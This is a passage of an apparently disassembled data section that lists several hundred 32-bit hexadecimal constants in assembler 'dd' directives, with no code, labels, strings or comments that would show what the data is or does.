		dd 565E08A0h, 122E92Dh,	7CE4804Ah, 0B520C4CCh, 1A09DD02h
		dd 1402FF09h, 0D35DC85Fh, 0F1973DA5h, 205B473h,	0F78CF35Eh
		dd 0BFAE7F68h, 37E96898h, 5817F89Eh, 0E44A4B8Bh, 75314A3Ah
		dd 5727302Eh, 5E7EBF00h, 2EC5E451h, 6C00DFE7h, 25114679h
		dd 0C90012A3h, 2DD8F728h, 0ECB7FF7Dh, 0C3F524E9h, 60B8891Ah
		dd 4E8847F1h, 2642CC4h,	58E388D2h, 868B6EE0h, 0C2FED319h
		dd 8841D008h, 4000E21Fh, 0B0FABA05h, 0D5011825h, 5045414h
		dd 3FB05B82h, 0B9587AD1h, 0BE725F03h, 2D08C760h, 130D3B89h
		dd 0F1F3E933h, 0CB472024h, 0C0D0BA5Ah, 904347C6h, 0F72D28F0h
		dd 713C090Bh, 2E003F56h, 669B7F84h, 1E1E910h, 1A745C2Dh
		dd 0F10A8A6Fh, 0FB2D4087h, 6860D9C0h, 69065B25h, 2EEED97Eh
		dd 0E917348Bh, 0A5D1BA0Ch, 51216C2Eh, 76710C80h, 0E5E94E67h
		dd 0BD3F9E9Ah, 5D6A030Dh, 0F879F581h, 74E90FABh, 3EE79F54h
		dd 0D232133Fh, 5981F9A8h, 3B57AA68h, 2DC0D7E2h,	7DE064F0h
		dd 87DB40B7h, 25DE9DC6h, 0B575254Fh, 802175FFh,	7EC6800Ah
		dd 13DEEE6h, 0D6097EFEh, 0FA0DB2E9h, 2FC578DCh,	2E70AABh
		dd 444D133Fh, 0EB7CE1C9h, 7C55E05Eh, 6AD93A12h,	0DAF44FE1h
		dd 99D4B756h, 952069A8h, 6968122Fh, 86ECCC4Fh, 44C40F00h
		dd 6A83CF81h, 0ED2D4B87h, 685305FBh, 182064D0h,	7883B804h
		dd 72FB4837h, 0C2D9D227h, 6AB7D1A5h, 7FE01878h,	85910ADBh
		dd 0FED5B480h, 7FEC80CCh, 143BDC60h, 8A39FB28h,	0A00CF2CBh
		dd 9834CC80h, 8412021h,	0D1D2C92Fh, 0D1F0A5EDh,	0FB76B925h
		dd 185B0B72h, 0BAF6B9CEh, 411F85BFh, 23AA57C0h,	97020C7h
		dd 0F10581F4h, 7DEF27F2h, 7D56D6C2h, 65B1C1Bh, 705B78AFh
		dd 0FAB52D92h, 9DD14C18h, 42A34177h, 0FF7605DDh, 0DCE5DCBEh
		dd 0ED41EE90h, 4900F0FDh, 0FCBFD1F7h, 7344FD0h,	0F642AE98h
		dd 0C9CF2524h, 501E710h, 3464119h, 0F6622029h, 7CBF7570h
		dd 0B1F242A8h, 0E1811D68h, 0AD25FB0Bh, 0D1C1425Ah, 3895825Dh
		dd 0C54043AAh, 87582299h, 9BE50259h, 0D623FB13h, 0E07664D0h
		dd 527C5B31h, 190D1031h, 4B035ABEh, 642E8EB1h, 1B123F41h
		dd 39AE76ACh, 507080A9h, 0C1724911h, 0E9050BE5h, 22E4EB84h
		dd 55534FA0h, 12685602h, 0C17A3F69h, 80CE619Dh,	35058A21h
		dd 0E8CABD7Dh, 43AC3695h, 61754D00h, 0AC9817Bh,	79DE5FFFh
		dd 7C843BBBh, 133538h, 346E602Ah, 0E9CD1629h, 8A0549A7h
		dd 88021381h, 66089454h
		dd 898112FEh, 0F660F4CBh, 0FB0429B6h, 0E9182C17h, 119CDF16h
		dd 3B432568h, 4A5BA0DCh, 7666CBD5h, 0E1C30680h,	0E81C55C2h
		dd 58A148B7h, 0C8769552h, 0BC9AF62h, 0EDD4A3D7h, 0FE1000CDh
		dd 0BFB252C8h, 87DE2C0h, 0CF5C4030h, 0F238E068h, 8AF259DEh
		dd 77F3BC27h, 0D305AA1Dh, 0C6804A37h, 8EF2D68h,	0CDC3E957h
		dd 0D92CAF26h, 2FD48908h, 7E250456h, 0A8C28CEEh, 0CE003058h
		dd 80C6FE59h, 0C72CDAF6h, 4904F0E4h, 1AA048F5h,	0AB99D77Ah
		dd 9EB4D627h, 0B005FB14h, 0FE381075h, 0CEFA15C5h, 31D131DBh
		dd 0AB73875Fh, 4D4A663Dh, 8623C09Fh, 2C7831Bh, 532527D2h
		dd 417244FEh, 0BF00585Eh, 0C86338DDh, 0A00DCF76h, 5C16D91h
		dd 0D7E907E7h, 6073A7B3h, 95EF8107h, 3033F4E2h,	0E9BDFB31h
		dd 0EBA80EE4h, 7D171768h, 0C2FC0298h, 55483401h, 0F4142D79h
		dd 250169E0h, 40774EB9h, 4CDB3CE9h, 0A940576Ah,	0A65058D1h
		dd 5955B04Ah, 481879B7h, 0EE4708D2h, 25C113BBh,	0EF93D4A9h
		dd 5327B99Bh, 0A7588574h, 5C790B46h, 3A78CD87h,	0DE51ACA0h
		dd 0C5F23180h, 64909C6Ch, 0B1B9BC28h, 0BC04F7B6h, 540BF542h
		dd 0D81CF7C5h, 0E6A6B027h, 49A9F2E7h, 0B90927D1h, 0A08910EDh
		dd 0FC9FA6F0h, 55E9D860h, 9AA26B5Bh, 4030502h, 4A740901h
		dd 0EB1C7F2Dh, 9892D4B5h, 9DB3A4F8h, 5508858h, 306EC180h
		dd 7DC15CA1h, 0A34A874Ah, 4CAAD69Dh, 64E480DFh,	0E580A4ABh
		dd 7E1FB753h, 0EF84DFF6h, 4286C0BDh, 0B4500F10h, 41230BAh
		dd 0EA5BFD5Ah, 4F2FC22Ch, 863D8C78h, 2588AA40h,	2FDC5AF4h
		dd 7EB42632h, 34025BC7h, 0AC26CBBBh, 0A70D60F6h, 1F182D3Ah
		dd 0D1A287F0h, 270B9408h, 5625C9D4h, 5CA0507Bh,	51E1C180h
		dd 5C6F008h, 0DD72C059h, 3E7C7B36h, 0FCD2A22Ah,	0B54FEA7Ch
		dd 0F8D3EAACh, 7CCD0496h, 84FE03FFh, 120714C8h,	61084506h
		dd 0D30B0C70h, 0FC4D7338h, 35BC08BCh, 0A498050Eh, 84BA6F90h
		dd 0E907023Fh, 3354D72Eh, 0E202DC7Ah, 5D092354h, 0ED3E79C4h
		dd 1EDF12AEh, 805B9A5h,	0E96120EFh, 0A897D16Fh,	0FB09A7CDh
		dd 70B18663h, 10EEEA47h, 3F4C0FBEh, 0A76E2A5Bh,	7D3E6813h
		dd 0E9B181E8h, 1AEC2A15h, 79DBC03Dh, 39D03F32h,	64FF7986h
		dd 17209464h, 0E673C1BAh, 0C9962C6Bh, 8BA6271Bh, 58175D89h
		dd 202DBA6h, 7BAFF8E9h,	5F183D37h, 0EBC00A9Bh, 20682F7h
		dd 62A2F380h, 7264FF20h, 114B420Bh, 4C6BD51Dh, 67581131h
		dd 6BCB7DE9h, 1B4C82F9h, 681D0661h, 0A0284A6Dh,	0AB6C0DEh
		dd 7B692DB9h, 2952DF01h, 0C66E9F8h, 3AB4288Bh, 0C60AA255h
		dd 0B0869811h, 0A8664E1Dh, 74C84818h, 8B9F04Bh,	8BCCE987h
		dd 3F713048h, 1548382h,	4859D24Ch, 82EC0F48h, 0A89BF006h
		dd 3C35BB04h, 0C3A84FEDh, 34619F50h, 0FF340C3Eh, 5A084A10h
		dd 708978BDh, 0E604C7F2h, 23A16619h, 2F13F5BBh,	0C8C71244h
		dd 0BBD02904h, 5381FD24h, 0A32A812Bh, 3C381041h, 1F93B807h
		dd 9541792Dh, 0CF49705Dh, 34581775h, 79352F95h,	29D52DBBh
		dd 612A5EE8h, 88091368h, 0BCABBEBh, 6800C780h, 3AB551D7h
		dd 0CE0CEDF0h, 0C9ABE0E9h, 195C0FF5h, 0F464463Fh, 0F8E81EB1h
		dd 1C30A12h, 101FC4BBh,	2426B608h, 0D3098B60h, 0E8C43182h
		dd 8FA71857h, 61BE2C5Dh, 20CA6E1h, 20D13884h, 0C5CDE40h
		dd 17C4F08h, 970820FDh,	0CEC5ACCAh, 5FA4322Dh, 317F961Ah
		dd 0FFFA36C0h, 0DD75072h, 850042F8h, 0E2D12DEBh, 8302DAF7h
		dd 4E901EAh, 0DEEEDFAAh, 0DA5D5497h, 0FE20F64Eh, 23F09FA6h
		dd 0A4DD28E3h, 76DFB9C2h, 6BC52710h, 578A5D12h,	29CF324Ah
		dd 200B0AF9h, 64FE2DBCh, 9DC1F6E0h, 0BA75E112h,	0CBD6D66Dh
		dd 2BF74C4Ah, 88E706B2h, 99E527C5h, 59D32D1h, 93F9B760h
		dd 5B60C107h, 45B16DE5h, 0A4E9DB00h, 0A82E9DCCh, 1D8339E4h
		dd 9E0BD6A8h, 0C0425778h, 17BD557Ah, 710EE05h, 355DE9D2h
		dd 8C2DEFC8h, 80B07F20h, 1AEEF12Ch, 0BF0E2760h,	7E44495h
		dd 5FFD314Dh, 33254668h, 0F389EB25h, 0AC40097Fh, 7C97BAF5h
		dd 0EF92D6Fh, 737DC240h, 0FE795BF9h, 27089410h,	69B0795Bh
		dd 6813D796h, 5B375990h, 0E851A881h, 0EE6C9C89h, 0FDE4D254h
		dd 0EEC0EAD4h, 26282BB5h, 4404663h, 0C1D7D44Eh,	29ACFC1Fh
		dd 472D00CEh, 0E3810F6Ch, 0F52C1321h, 5BD80171h, 8230EE2Bh
		dd 5C77900Ch, 0D77A002Fh, 52CE1620h, 40169CA4h,	84097B9h
		dd 1A992AE9h, 6688C1D8h, 7EE59B35h, 0C8BEDFC4h,	0AE5DE9DDh
		dd 39BE5F67h, 683148E7h, 5E1CBA27h, 5C5B51D1h, 0CD403EF0h
		dd 304C4F68h, 3C2BAEFh,	814A1C00h, 0F6662CEFh, 6150BD21h
		dd 5AF2114Dh, 0F5A704AEh, 5EFDF852h, 0AD1638E6h, 0F787BC4Ch
		dd 0C0B002F4h, 0A71B729h, 0D49FD120h, 0F0039723h, 16BF508Fh
		dd 51252072h, 8BF83017h, 2B1239AEh, 0B2943AD8h,	68169536h
		dd 0C557B526h, 0D606E43Fh, 0C8915EC4h, 25D5685Ah, 99F9F5C2h
		dd 2310574Bh, 1BEBF7Eh,	0A22D8469h, 29BCAEFh, 0A145E3C3h
		dd 68EDC119h, 0D3894AF9h, 0D5E4D797h, 2D917D95h, 0BA28FBDBh
		dd 0D62BC020h, 8F44AC26h, 1267F6FFh, 98AFA7F9h,	190B686Bh
		dd 63D3C29h, 3BDF931Eh,	60AF5D54h, 774A097Fh, 218586EDh
		dd 7BD5AD0h, 4954A712h,	31D7F624h, 3FAD1C6Ah, 4AE22EE0h
		dd 0B5745BDh, 447F9D81h, 2E63A65Ah, 61DF47E2h, 251258E9h
		dd 7A886D1Bh, 0CCC0BC4Bh, 79C3805Bh, 94132C7Ch,	1A9640A6h
		dd 4D1F17CBh, 0BD89D587h, 95E8FCD6h, 5F25AC7Fh,	55201A52h
		dd 4787305Ah, 3101C0A0h, 0FDA60CDAh, 92388609h,	0D0FCF320h
		dd 0D99DFF9Eh, 0F915EEC9h, 0F1A43F98h, 88538799h, 5BFA22EFh
		dd 2F4E6E5Fh, 1766465Dh, 9F8357E6h, 1FAC54E4h, 2505F35Eh
		dd 89ED71E8h, 83F35456h, 7B54DEA7h, 0D703AE2Ah,	4A16E238h
		dd 816170EBh, 1E12EAEBh, 21EC4B9Eh, 5E8A9610h, 0BA52B600h
		dd 4C194C64h, 9009D312h, 27092239h, 0EBC6918Bh,	65B54320h
		dd 0C7CFFE66h, 87F9477Dh, 80D1605Bh, 527E2CC1h,	0F729CE7Ch
		dd 9508815Ah, 70EB201Eh, 1984B5B7h, 5B59B841h, 0B614CC8Ah
		dd 0F0D6A196h, 0E74D61h, 4C40BF57h, 0A85F1C30h,	1220125h
		dd 0F9312189h, 57BDEE42h, 7F8EA3E7h, 9EEF16C6h,	40B56273h
		dd 4CE596h, 103CF12Dh, 0E8282928h, 91840705h, 0BC838E5Ah
		dd 0E46AB156h, 0E35E203Bh, 737C071Eh, 72933A24h, 85C83089h
		dd 4988D02Eh, 0C13B106Dh, 0FD2A2641h, 0F38E651Dh, 321F266Fh
		dd 6034050Ch, 4893F3Ah,	0BFD0F7A3h, 9A8BA5C4h, 6C0AFB5Ah
		dd 0BB8189CAh, 3CD149DEh, 0B4A0AC20h, 5E8982CEh, 3ED804A9h
		dd 0D65BA80Bh, 287A5C73h, 0DCD04181h, 0D49F957Dh, 0B7DADF2h
		dd 7282551Eh, 31030782h, 9D8194CBh, 6E369B9Dh, 0FCF31692h
		dd 0A860B9EBh, 92D695BEh, 0C707AAA6h, 7E29DC48h, 2822CF4h
		dd 72FE3AECh, 0FC411361h, 68133F32h, 60603CB9h,	864B0Eh
		dd 3DE051Ah, 502D333Eh,	0FAA6123Ch, 8102B502h, 54E8832Eh
		dd 282A0553h, 0E78B003Dh, 43E00144h, 1464509Dh,	59A4DAE9h
		dd 0B55E975Ah, 6982EF38h, 116DDD2Dh, 9E8D325h, 4ACEE09Dh
		dd 899F91F6h, 5BB4F7A4h, 5DE25C2Dh, 664CF6A2h, 0F34AC442h
		dd 0ADD4070Bh, 3F295902h, 53D07F38h, 0DE585D34h, 0F8D20C1Fh
		dd 0EB4BB08Bh, 0C9AB3734h, 0F8B86FFFh, 0ED06D8Bh, 0D2B05009h
		dd 8C6802FEh, 0C57D0BADh, 2D044B24h, 0AEC61383h, 0AA3A95B0h
		dd 38A26748h, 0FC7DC827h
		dd 47900CB1h, 0CC04EE53h, 551DBD04h, 0B9F4BB87h, 454DD116h
		dd 1A743B2Eh, 0C83D18C2h, 0EE53525Fh, 56815C05h, 2EA088Ah
		dd 34DF0BB0h, 0C8CB2941h, 0E918A754h, 805EA6D9h, 822D48F6h
		dd 1114862Dh, 64FC152Fh, 52BF99B6h, 0BB4200FFh,	0C8723D6Ch
		dd 0BE034FB2h, 97C60239h, 5242A3h, 4D4EC369h, 0CB011251h
		dd 883EE98h, 61301C04h,	8EEB60E5h, 9853CBC9h, 80A70574h
		dd 5E0BF701h, 46651E68h, 7D10979Fh, 47D37667h, 49281EFEh
		dd 19FD2A18h, 87A45850h, 0BF8E090Fh, 34808259h,	5074117h
		dd 0ED101D01h, 2A007806h, 1A2D3815h, 567EA80Bh,	7A3C87Ch
		dd 1B1150E5h, 22DD5925h, 0FABB6ABDh, 78D23E11h,	38FC44CFh
		dd 50E5CAAAh, 0C80B6035h, 0D53144FEh, 570097C5h, 7C2E7E68h
		dd 0F5F7D59h, 0F91C70F7h, 0C76CE962h, 2C937774h, 0A5E08D1Fh
		dd 0A4AF3E79h, 8F9AEE2h, 58775EE9h, 580A8A1h, 1A6B1E62h
		dd 75F58C18h, 0DF09F1C5h, 7F0B6D60h, 0C33FF68Fh, 3DB64B3h
		dd 1D7B1E79h, 0CD5E9A7Dh, 415E0C2h, 2D9BAA53h, 0F220AE5Fh
		dd 5BE95FFBh, 0F261FE4Ah, 9C2636Eh, 125267FFh, 5DEBA0C2h
		dd 0C1DAF199h, 1A358463h, 22705040h, 0EE7C4860h, 13454813h
		dd 1D8BCEh, 6E7CC7C3h, 90F30142h, 0E9088085h, 9039AC8h
		dd 0F52FDBAh, 0A801AC05h, 5BE34B75h, 1C294DDDh,	320C8723h
		dd 0E1B4097Eh, 0E70245E9h, 585C4F5Ah, 96DD20D5h, 0BFB07DA6h
		dd 80245DFEh, 2B40350Bh, 0ED8AA4F0h, 5A0934A8h,	174CCA89h
		dd 0E90AD0B6h, 30BBFA19h, 1D28A241h, 0B83D64C0h, 2EB408Bh
		dd 3E3FC873h, 5BF9C329h, 186AB3BFh, 0EA2B2667h,	3C051EC6h
		dd 4030D2DBh, 5E7CBA56h, 0D2983E39h, 0E62BDD60h, 51022B68h
		dd 0B2F7BE6Ah, 0A69EC005h, 9098BD69h, 0C4820C29h, 641F202Ah
		dd 8026B507h, 0E801CCF5h, 8AF85259h, 93CDDDDFh,	0DEA6C7EBh
		dd 0C6B504F3h, 38ECF56Ch, 0AA5DCCA8h, 0C0D69DCEh, 8871EB81h
		dd 0E2D60160h, 0F170D59Bh, 52673EA2h, 38096805h, 9D10F8B3h
		dd 0A2E45B6Ah, 13952D68h, 87C9E754h, 71BBF11Ah,	7A64A507h
		dd 9CDBF602h, 0DF57BC91h, 5FD34100h, 0FFBC2055h, 5FF3F98Bh
		dd 69F6BBECh, 0D82729B6h, 1DD1B74Dh, 4AE0E970h,	1B1D8C85h
		dd 0ED899F60h, 98287B6h, 5DEB21B5h, 2824D955h, 68364004h
		dd 153B1F31h, 0BD0007F9h, 392E1E5Eh, 4D14DB2Eh,	504F4DCFh
		dd 995A98BCh, 4D49BE28h, 0D02F67BDh, 0C612DB5Bh, 0EDDA10FAh
		dd 29177E10h, 0FF0F1F5Ch, 9068C630h, 3BB23C42h,	1C46D325h
		dd 50CBFE00h, 0CC809AB4h, 0B6E92F1Ch, 305E7CC1h, 7B40373Ch
		dd 0BD660E55h, 7931274h, 9C507C1Bh, 223FB804h, 4A29AD05h
		dd 93880394h, 0DF147567h, 0E9176010h, 304708C4h, 0EA26C588h
		dd 0F4FE5B70h, 681307EEh, 77AA23D4h, 6D0D317h, 0C16E3B4Ch
		dd 595BDE88h, 0C7F14E9Dh, 8C01874Ch, 0F3995A35h, 5A6F3E6Ch
		dd 2A4615Fh, 36B505AAh,	0B7DA17E4h, 0FD2F4E6Dh,	2C2E0315h
		dd 34BE5660h, 0A030279h, 2161E957h, 0CAFE4A68h,	0FF53512Fh
		dd 0AE453912h, 0B416153Fh, 0AB5E4EEEh, 7FB17097h, 0C18F79FCh
		dd 552FB90Ah, 0A581CA2Dh, 2FD9F703h, 5AD24BD7h,	0A8BC6005h
		dd 89C79791h, 0E9504926h, 0C9D6BFA5h, 720C334Ah, 0BE056CDBh
		dd 5B12A872h, 2A25FF13h, 557F590Bh, 41F8E294h, 58D5829Dh
		dd 4860F540h, 231FCE25h, 0FDD32E96h, 5D41D0BFh,	33009D2Dh
		dd 320552ABh, 9847EE7Dh, 741F9E9h, 1245BB53h, 0B03096B1h
		dd 56B59288h, 0F444C387h, 3B0F9A3Bh, 0AD975452h, 4002A2DAh
		dd 6AF807EAh, 0F5816E0Ch, 4A520D03h, 2FEDBDBAh,	0C3FE6001h
		dd 66313BE6h, 4177874Dh, 0C8DFFAD2h, 7D3004E6h,	4ECB26F7h
		dd 0B0599B7Ah, 652C4F90h, 0EAA8B7FAh, 721E7C2Dh, 6488372Fh
		dd 0BA0289Ah, 7F3F6BDDh, 520145F4h, 0F9CDE955h,	0B093EC3Eh
		dd 0F5019B1h, 0C0FE67B0h, 0E8658F2Eh, 804FED07h, 0FCCF8047h
		dd 0FED71CF6h, 48F9BBC7h, 0F93F0CEFh, 0C55697F0h, 7C16E2D2h
		dd 81DF5AB2h, 49407160h, 3FC7CD70h, 5F6DA0Bh, 0A2BF3CFh
		dd 0EDD08022h, 6560AA1Bh, 3848FC64h, 0E618C074h, 0E927419Ch
		dd 740B3F25h, 669756BEh, 0FFC9D84h, 0BF2E5260h,	0BCE92C79h
		dd 0B805BDC0h, 80086116h, 6F25DE5h, 20E91F3Eh, 16BDBE4Ch
		dd 0C1FB16CAh, 7AE08963h, 0BBD247F6h, 0D3A8FEC1h, 82B7913Eh
		dd 7B846A02h, 8016AD1Ah, 0BC5E1A29h, 0E1AB06Bh,	716F3AC6h
		dd 6411CDC0h, 70BD3989h, 79B7097Ah, 26A488CAh, 0BB0CAA5Eh
		dd 9BF8120h, 43300665h,	50477D98h, 6E626190h, 5501BE0Eh
		dd 313F80E6h, 0CE25BBCEh, 58CBC3B4h, 0F8D7B57Fh, 7D23033Fh
		dd 0A3BB0837h, 0B0EA8DF2h, 8809BDBBh, 0FC03199Ch, 0E829E24Bh
		dd 0B6A129F2h, 8100D64Ah, 5F4BD4E1h, 3BCECF8h, 12756C08h
		dd 7C680055h, 0E97E1551h, 0A7D687F8h, 5E90CD0Bh, 9468075Ah
		dd 145F094Dh, 26349826h, 25996CB3h, 8A01A5Ch, 0A9DFD6C7h
		dd 5D4EFF09h, 816E2DFAh, 4463C243h, 0CE525720h,	87DCAB36h
		dd 8CE4DEEEh, 0C6313084h, 342A3609h, 3122F54Fh,	0BB0139C2h
		dd 68DD22ADh, 0AE2A0025h, 5E2B2904h, 0C05E9AE2h, 0B97C6C3Ah
		dd 44D22D79h, 3D5A80EEh, 6F76AD34h, 0B95E300h, 0D1E975C5h
		dd 87FB9464h, 29787E06h, 0E20910Eh, 0E7C12A55h,	0CAC0348h
		dd 0E07B56E3h, 4E4EBAD5h, 0B590E857h, 4E0C8004h, 61605EC7h
		dd 4C21684Bh, 20203BD0h, 4F5E50F0h, 0C88B0031h,	5986BA04h
		dd 871927F8h, 1E513F12h, 0C40B414Ah, 0C86C55A1h, 56638CF6h
		dd 1A62AA67h, 2A986A15h, 6F21DE55h, 3AF0AC89h, 0C46FA199h
		dd 0D1CDAAE1h, 0D896E603h, 2752D529h, 0DC58CA89h, 584B8EF6h
		dd 662E33A7h, 0B7EA897Eh, 54F17F49h, 1E9580E5h,	3400C8FEh
		dd 0B75366FCh, 1DD70455h, 3D2CF828h, 8513F048h,	0FC21541Bh
		dd 8D014B1Eh, 6E94E15Ch, 253868C7h, 6EB27672h, 97A36E97h
		dd 0E463C8F4h, 8DEF85B5h, 2B4BE93Ah, 7BFC3117h,	0E801E9F0h
		dd 0CFB9C895h, 90CCFB6h, 9779BC53h, 966E77A5h, 4AB70CE0h
		dd 5BDF5EECh, 45558782h, 0D893BE3Eh, 0B93C5384h, 0A8024ABBh
		dd 4375ED2Dh, 62CBA8D5h, 53509F63h, 2C134C18h, 92CCE9A2h
		dd 785B50BCh, 0E7795FCAh, 0C6EC5A44h, 0A2E2DE8Bh, 0D50BE375h
		dd 5966AE40h, 0B756C330h, 0E91A2436h, 760A28AEh, 0F085CFD5h
		dd 78F3BE8Ah, 0C36ED79Fh, 82FCB954h, 0AEC03239h, 3691B66Ah
		dd 8F394FACh, 0E48B6856h, 9182F9CFh, 31E70AA2h,	3EB71032h
		dd 58283E8Ch, 0B5A7A177h, 5B079273h, 0F28116FCh, 0CBAB98EBh
		dd 2E60B16Bh, 0CDA191A8h, 9E0728AEh, 51EDB11Dh,	285C09A3h
		dd 0E2DA3BFDh, 8BD8C5A2h, 508AF0B5h, 63D744FBh,	1DBCC852h
		dd 31E5A44h, 5350B38Ah,	1FD0AECCh, 4B9EE9DEh, 5A31FFC5h
		dd 5D02C186h, 0CF18D77h, 0C43AA23Ah, 0C7561C6Eh, 0C1D429Bh
		dd 968BC500h, 0DD292509h, 8C6982F9h, 0B2D0634h,	76833C4Fh
		dd 57260945h, 0EDDDE905h, 9F73F627h, 5D1C2E4Bh,	2CBA022Ch
		dd 287F2797h, 680B086Ch, 0C7F97C77h, 933EA8F9h,	0B58D3245h
		dd 60803321h, 4D67B925h, 123A356Bh, 5F4BA666h, 0D5FFC61Ah
		dd 9F8C70Ah, 0EF2F3435h, 0EDD8A01Ah, 2FB3F8B5h,	819853FFh
		dd 40C2FD75h, 0E26AF780h, 5E3241C6h, 0A794853Ah, 95C8BD7h
		dd 0C6FD98AFh, 0C1B537E9h, 80BA652Fh, 0D9F759D8h, 87BAEFFAh
		dd 49AEFF5Bh, 9DE05F82h, 3A0DF2CFh, 2A4F409Fh, 5E6A0B6Ah
		dd 58B90B7Fh, 0ACFE033Dh
		dd 4DE93D99h, 0DE5B752Dh, 0CE694F51h, 9500E4D7h, 548B6B76h
		dd 0B0A69E58h, 58734051h, 0B15E5248h, 0EAC9DD88h, 0F84EEB36h
		dd 27533F93h, 418DE2E3h, 0F7BED1ECh, 0A5B3A05Fh, 0DF2752BEh
		dd 4127AA94h, 0D45D90D6h, 9011E21Ah, 744FDCCh, 0A5CCACAAh
		dd 0DF6FE7AFh, 8B59C8C5h, 5AF48044h, 373C31FAh,	806E5749h
		dd 307F3B20h, 175EDFD4h, 8844A460h, 891E78E8h, 4B99D811h
		dd 0AB883E43h, 8DFC0206h, 0E182E99Dh, 68434976h, 173E9ECFh
		dd 15D5455h, 0B00D6902h, 65A02B1Ch, 40FD766h, 167E9733h
		dd 0CB1112AEh, 9E85153Fh, 89512E42h, 0BA77032Fh, 42E480FAh
		dd 20C5B209h, 283C06CEh, 0EE3017F5h, 5B64CFAFh,	80F2BC13h
		dd 0F0095C8Eh, 282D52E6h, 1FA2C7D8h, 0FED4AD36h, 0E646E985h
		dd 74CA8D92h, 33D85ABBh, 0AE92F16h, 93070DA9h, 0AF6EEC38h
		dd 0FD52E089h, 0D44C570Ah, 98B9F06h, 0E2B58050h, 9605997h
		dd 725D681Eh, 856295D6h, 0DBE20CD5h, 1D924E12h,	1664E04h
		dd 1C6F2102h, 87A19960h, 97C36880h, 206FE656h, 8084B151h
		dd 200498C1h, 0F73FB67Fh, 41EF15DAh, 9FBD0339h,	4F1C4B2Eh
		dd 0C59220C6h, 7B0C4161h, 98EA212Ch, 16418254h,	1AC2C0D9h
		dd 7E967AF6h, 4CB569Dh,	99F920BEh, 454321Ch, 0DE4947BAh
		dd 2DA6AABDh, 738AE84Ah, 0E706E22Ah, 6F7CD106h,	0E0608AE9h
		dd 6B9D915Eh, 2D50AB7Eh, 9C3B288h, 4E5A375Fh, 0C7EFC100h
		dd 4BBFE6CAh, 52620696h, 0C387746h, 8C4A5007h, 8C90125h
		dd 0C340866h, 0E2681402h, 0BC775975h, 0F07E3A84h, 7F67B36Eh
		dd 0D3E9DD0Eh, 0A6AE1246h, 0D0E98220h, 570FC809h, 8BC1C41Ch
		dd 0CADBFE92h, 45B3E917h, 0CB180186h, 0E98B61C1h, 0E82EB099h
		dd 64ABC469h, 0C718CDA3h, 8BEB6BB3h, 6DED2718h,	263E4D0Ch
		dd 778BAh, 716CB8A9h, 2C00B62Dh, 0D8296502h, 0C01AD2E9h
		dd 2BB5C13Dh, 8B20106h,	7C58F829h, 77BA5617h, 0AE8755DFh
		dd 5486FA72h, 4FBB80D3h, 293B9565h, 5ED1A49Fh, 0C3D419F2h
		dd 0E94CAE02h, 1174B418h, 12990E8Eh, 0F53EA2AFh, 5D80B082h
		dd 4720A694h, 808658C8h, 0B762CC2Dh, 0F6D8B51h,	0AA71122Fh
		dd 0CF61D045h, 1B688361h, 0A25B18CFh, 89554CD9h, 1971F57Dh
		dd 0DB16F993h, 1280DDC4h, 1C0678Dh, 4B94685Bh, 7A584DDAh
		dd 25488880h, 0A26C03E0h, 3D92E972h, 0FAA6BB85h, 29684D40h
		dd 81FE2B0Fh, 0B239DCBEh, 72A46E03h, 0A2D51F8h,	95C2A920h
		dd 799D8878h, 5DE96385h, 0BE56C301h, 70F12096h,	957E3DECh
		dd 0B8BDCF73h, 9BAC05Bh, 87074BC9h, 0B59F8FF1h,	4477A020h
		dd 42D43D68h, 4B3ECD97h, 0E202C16Eh, 81D0EDB6h,	0E9E1C60Fh
		dd 0EE3778C8h, 6E5339D9h, 0AD5F51CCh, 0F501024Fh, 0FD88A4E9h
		dd 24501F1h, 0A5A4AD89h, 3C820061h, 65E95BBEh, 0E6F57941h
		dd 0F0B6A97Fh, 0D3CC2CE9h, 43B50566h, 19B84442h, 3F97A313h
		dd 154890FAh, 0B353590Eh, 3D90A4F3h, 0EBE3465Ah, 3A078794h
		dd 0C0150944h, 0B82337E3h, 6C6448h, 7101193Fh, 5E9B951h
		dd 3140B103h, 0D3CCC2CBh, 5602DE40h, 0EA51B024h, 0C568ED02h
		dd 0FE86803Ah, 0B75FFC61h, 8816FFAh, 8C0F2E5Bh,	90BF97F7h
		dd 1BE90373h, 0BF78549Ah, 28FF6017h, 0F75A20AAh, 0D8F31E5Fh
		dd 6C0B34EFh, 0F409E638h, 0CAF01650h, 2060482Ch, 0EB5A4FCCh
		dd 33165344h, 357941A3h, 973C843Ah, 9578112Eh, 3B0C803Fh
		dd 168F2A9h, 0BD56B7D6h, 2C68170h, 73686A0Bh, 0BDA9F6E9h
		dd 0FA2D6F74h, 426CBF11h, 36877AA2h, 0E27095E9h, 1644B3Bh
		dd 0A65557BEh, 0DC59DA4Eh, 0AFEF1686h, 0B92E5BD9h, 0BBA8841Ch
		dd 20D3BC13h, 0F5882499h, 0FA855B07h, 68E9A2C8h, 9B4D54Eh
		dd 0EA595684h, 12B08088h, 7C0F015Ah, 2B18543Eh,	15ED3901h
		dd 0F43A11EFh, 2D04D000h, 2A43546Ah, 0B07B3BFh,	7227D768h
		dd 9D954A86h, 92A02E21h, 17819B50h, 0B113BFF0h,	552698F8h
		dd 318E7098h, 0E71D12Fh, 4D3C21D5h, 108060D8h, 51CE2D02h
		dd 89E6E71Fh, 14C53EF5h, 9CB10FEEh, 80399BA4h, 7648C58Ch
		dd 0DE294013h, 0F585D00Bh, 71B5ED6Ch, 31C2C4AAh, 89663FE2h
		dd 0FDDD9517h, 25E6775Bh, 0A54B1AAh, 0D509D412h, 92ED706h
		dd 0C3649D61h, 0DDF1D82Fh, 2DDB3517h, 1E2745BBh, 12D0216Ah
		dd 0AAE93FBAh, 50C4B310h, 221ECE52h, 5CD6662Eh,	0C12B71F1h
		dd 3ED519ECh, 0D7443144h, 1162F618h, 550F991Fh,	53C43616h
		dd 916680FFh, 0C4908271h, 0F220C300h, 0FBE97588h, 276E9D1Fh
		dd 12AE680Eh, 815B40EFh, 2D3078CBh, 1BDC1D83h, 0D042D196h
		dd 0C2D3A905h, 2C2FF646h, 0F6B27061h, 0C05B9CC0h, 0B8008EBh
		dd 0D92823C3h, 5FA45A02h, 966247F4h, 93E0D7C0h,	0D8A6842Bh
		dd 0D69A27F0h, 0D69BC8BFh, 4A999F3Ah, 1695A468h, 0E39480Ah
		dd 34575CA5h, 84CEF81Fh, 0BA0011C3h, 17263D2Eh,	29F6BF4h
		dd 42CE31C9h, 20C3D07Dh, 0B90480F5h, 0A4B2D7Bh,	8CD09AEh
		dd 7DAFE173h, 1708A49Ah, 2C140851h, 0BCF58107h,	5578220Fh
		dd 7B047F5Eh, 0BA031299h, 817F2DC8h, 983F3644h,	1B436A5Fh
